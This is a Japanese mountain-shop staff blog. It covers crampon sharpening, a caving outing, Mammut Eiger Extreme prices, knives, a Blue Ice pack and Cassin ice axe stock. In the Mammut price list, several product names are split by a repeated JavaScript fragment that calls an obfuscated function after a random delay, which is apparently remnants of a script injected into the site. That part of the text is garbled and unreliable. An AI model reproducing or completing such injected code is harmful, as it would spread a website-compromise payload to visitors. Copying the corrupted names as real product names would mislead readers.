山の店デナリのスタッフが綴るブログです
前回までの作業は完了しましたか？。今回はいよいよ仕上げに入ります。でははじめましょう！。
捕まえたクワガタの凶暴度を増すために、センターに印をつけ、左右のエッジをそれっぽく削り、それっぽい角度をつける。この場合、デュアルポイントワンペア8面削りなので、手数は多いですが、ポイントは「ゆっくり丁寧な作業」です。「1本成功」で気を抜いてはいけません、残り3本を同じよーに仕上げてこそのメンテナンスです。
最後は勿論「手研」で仕上げます。下△を削ってトンガリを出し、左右を削ってセンターを出します。こーゆー作業はキリがないので自分である程度納得出来たら完成です。
手研ヤスリなどよりグラインダー使った方が均等に削れます。但し、同じ場所をばかり一度に削らず作業内容で回転数を変え「熱なまり」させない「ゆっくり丁寧な作業」を心掛けて下さい。
この前の続きです。まず重要なのは、「形を決める」事です。こちらの爪は下がまだ十分あるので、上を落とす事にします。○くなった上を落とせば何とな～く△ですから。とりあえず、ペンで罫書いておきます。
で、覚悟を決めたら削る。こんなモンは考えても無駄です。「なんとな～く」そんな形になっていれば十分です。そんな形と言えば、どーしてもクワガタ捕まえた気分になるのは僕だけなのか？。
△に近づけるために、今度は下を少々。そーすれば、よりそれっぽくなったね。
あ～、残念！。ココで規定量の画像8枚に達してしまいました。これ以上の情報量は読者の皆様への負担になるので、今日はココまで。次回はいよいよ仕上げに入りますので、ちゃんと復習しておきましょう！。
先週・今週と「大人の遠足」に同行させて頂きました。噂には聞いてましたが、岡山の石灰岩は凄い！。作業の合間に登れそーな所をついつい探してしまいます。やっぱり、こーゆー所は仕事で来るものではございませんな、目の毒。
で、本日のお題は“外岩”ではなく“中岩”！？、洞窟探検。この洞窟の中はバッチリ乾いて15M以上抜けている場所もあるので、天然インドアクライミングも可能！！。但し、外では見た事もないコウモリの大群や気持ち悪い虫は避けられませんが・・・。
まぁ、こーして色んな所に連れて行って頂けるので「大人の遠足」は大歓迎です！。
それにしても、広葉樹と針葉樹のバランスがよろしい所でございます、これまた「キノコ天国」なんだろーな。次は是非キノコ狩りに連れて行ってもらいたい。
やばいっしょ!!
目を惹かれるデザインとカラー!!!!!斬新だ～!!
価格も!!!!!!!!
とりあえず、指をくわえて鑑賞しよう。
最高峰のMAMMUT「EIGER EXTREMEシリーズ」
【Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Jacket Men】＠99,750
【Mittellegi Jacket Women】＠99,750
【Felsturm Half-Zip Jacket Men】＠59,850
【Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Pants Men】＠69,825
【Eiswandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Jacket Men】＠27,300
【Schneefeld Jacket Women】＠27,300
【Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Glove】＠24,150
【Eisberg Beanie】＠5,985
【Stollen Beanie】＠3,990
【Oger Headbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and】＠2,940
後、EIGER EXTREMEシリーズのザック(＠34,650～＠33,600)と靴(＠69,300)も揃ってます(^^)
！！ ここで妄想のアイガーシリーズコーディネート ！！
1,ノードヴァンドジャケット、ノードヴァンドパンツ、フリース、グローブ、帽子で
＠227,010
2,トリオンノードヴァンド（ザック）とノードヴァンドTL（靴）も揃えちゃえば・・・34,650＋69,300＋227,010＝330,960（アイガーシリーズのみで）
おーすげー！！
3,後はアイガーシリーズで販売していないベースレイヤーと冬のギアをざっと揃えれば400,000～500,000円。
さてと、もうちょっと妄想鑑賞を楽しもーと(^^)♪
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・ザック、バックナンバー↓
http://www.denali.ne.jp/blog/?p=5134
・靴バックナンバー↓
http://www.denali.ne.jp/blog/?p=827
先に言っておきます。「どーしてくれよーか？。暫く考えます・・・」なんて言ってますが、ヤルことは何時も同じ、出し惜しみではなく面倒臭いので放置しているだけ。「今週、行くんだけど出来てる？」なんて電話がかかってきてこそスイッチ入ります！、“ヤバ、あと2日じゃん！”、さ～て、おっぱじめっかぁ～。
で、本気出せばこんな感じ。上Before、下After。まぁ、こんなモンです。但し、作業中であろうと、接客しながら、メーカーが来たり、お客様からの電話質問も親切・丁寧・マニアックに応対してれば、なんやかんやで半日仕事、集中してヤルよりは飽きなくてイイのですが、再形成がそこそこ時間はかかる。寒くないし、ウンザリしていないシーズン始めは気分ノリノリで仕事が進むので、また別の記事でココまでの流れを書いてみます。
フフフフ、1年もやれば加減ってモンも分かります。鉄粉で目がショボイので今日はコレで勘弁してください。では、また。
13SS展示会で見たbaladeo社のナイフサンプル再会のためにユニバーサルトレーディング（株）さん来てくれた。造形美・軽さが気に入ってます！。が、切れ味は今一。え～、先っちょこんなにトンガってのに残念ですが、まぁ、この価格なら仕方なし、自分で研ぎますか・・・。
こーゆーものは、基本、ブレード長重視で選ぶに事にしているので10.5cmはお料理仕様では使いやすいサイズでしょーな。他、クラシックシリーズには刃渡り8.5cmの中、6.5cmの小サイズがあります。ピンクハンドルは8.5cm。
左から、刃渡り10.5cm・収納時11cmの★KNIFE classic（ナイフクラシック@3,150/34g）、★KNIFE RED（ナイフレッド@3,465/37g）、★KNIFE BK-G10（ナイフBK-G10@3,990/37g）、★KNIFE WOOD（ナイフウッド@3,780/37g）でございます。
対象物がないのでサイズ感不明でスミマセンが、こちら小サイズの15gKNIFE classic（15gナイフクラシック@1,995/15g）と中サイズの22gKNIFE classic（22gナイフクラシック@2,730/22g）でございます。お好きな方、近々入荷予定なので実際触ってみて下さい。
お待ち遠様でした。PETZL社のLYNX（リンクス）来ました。先シーズン出遅れた皆様、今年は負けないよう頑張りましょう！。
LYNX（リンクス）との戦いの日々は、こちらのページの下の方、＜初心者らぼらーのために、バックナンバーほじくり返してクランポン特集＞でご確認ください。雑で申し訳ない！。違うのも入ってますが、早起きしないといけないのでお許し下さい。
ブルーアイスのイエティ45Lが入荷しました。
ギアラックを両脇下に装備したニュータイプのザック。
このザックの取扱店はほとんどない。背負いたい方はデナリまで!!
前面のコンプレッションベルトにより冬のギア取り付けも簡単。
ワンタッチで取り外しが可能な雨蓋は拡張可能タイプ。
底の素材はコーデュラを採用。
センタージップからメインへアクセス可能。
などなど使い勝手が詰め込まれているザックです。
エセ尻フェチの私から見ると底の形状は前にオーナーがバックルーム「尻フェチ」稿で説明した、フラットな安産型。
パッキングしやすくていいですね～。
先シーズンは量も時期も微妙だったので、ほぼ見かけなかったCASSIN社のX-DREAM（Xドリーム＠27,300）と、少しは必要なパーツが理解出来たので色々くっついたX-DRY+AlpineKit（Xドライ＋アルパインキット＠26,250）が来ました。コンニチハ。
Xドライの基本構造は変わりませんが、ベタ塗りの塗装から、アルマイト仕様に変更されシャフトは格好いい事この上なし、美しい・・・。Xドリームの方はP社のNと振り比べてみて下さい、「ハンドル物欲しい」と野望を抱いてる方々は大いに悩むところでしょう。
豊富なアクセサリーパーツも魅力、楽しみ倍増です（笑）。詳細等はネットショップで確認してご確認下さい。
さて、そーなるとこの子達はどーすればイイのでしょう？、一瞬にして2軍落ちです・・・、サヨナラ・・・。
写真上CASSIN社 X-ICE Hammer（Xアイス ハンマー＠29,400）、写真下CASSIN社 X-DRY（Xドライ＠30,450）、ネットショップでもお安くしましたので、ご利用下さい。
で、更にこちら。
展示サンプル、塗装剥げ等、諸事情により地に落ちたX-ICE （Xアイス ＠29,400）、ハンマー5本・アッズ5本、X-ALP（Xアルプ ＠26,250）、ハンマー1本・アッズ1本、X-DRY（Xドライ＠30,450）、1本を「現状渡しの現品限り」でどれでも￥11,000/1本で処分いたします。こちらは、ネットショップでは出しませんので、お店に来て自分の好きなのを選んで下さい。地方の方でご来店出来ない方は、お電話かメールでご相談下さい。
こちらPETZL社のSARKEN（サルケン＠24,990）のフロントポイント。随分○になっておりますが、どーしてくれよーか？。
工場長に言わせれば、「お客さ～ん、自由気ままに研ぎすぎっ！」って感じ以外の何物でもない・・・。
「コレ、氷で使います？」とお伺いしましたが、「あぁ、今コレ歩き用だから、適当でイイよ」との事ですが、そーゆーザックリした言葉が一番困る。始めかっら「キッチリ、カッチリ」を求めてきたら、断る事も出来るが「おまかせで」なんて言われた日には「らぼ魂」に火が着くじゃねぇ～か！！。さ～て、どーしてくれよーか？。暫く考えます・・・。
ちなみに、縦物の研ぎはアックスもクランポンも同じですが、“三角研ぎ”は止めましょう。「何それ？」と知らないらぼビギナーのために、役立ちそーな所バックナンバーリンクしておきます。早まるな、研いでしまってからではもう遅い！！。
こーゆー話題が増えると冬の到来を実感しますが、毎度毎度同じよーなことして、同じよーな記事書いているよーな気がして、心が痛みます。最後までお付き合い下さいました皆様、お許し下さい。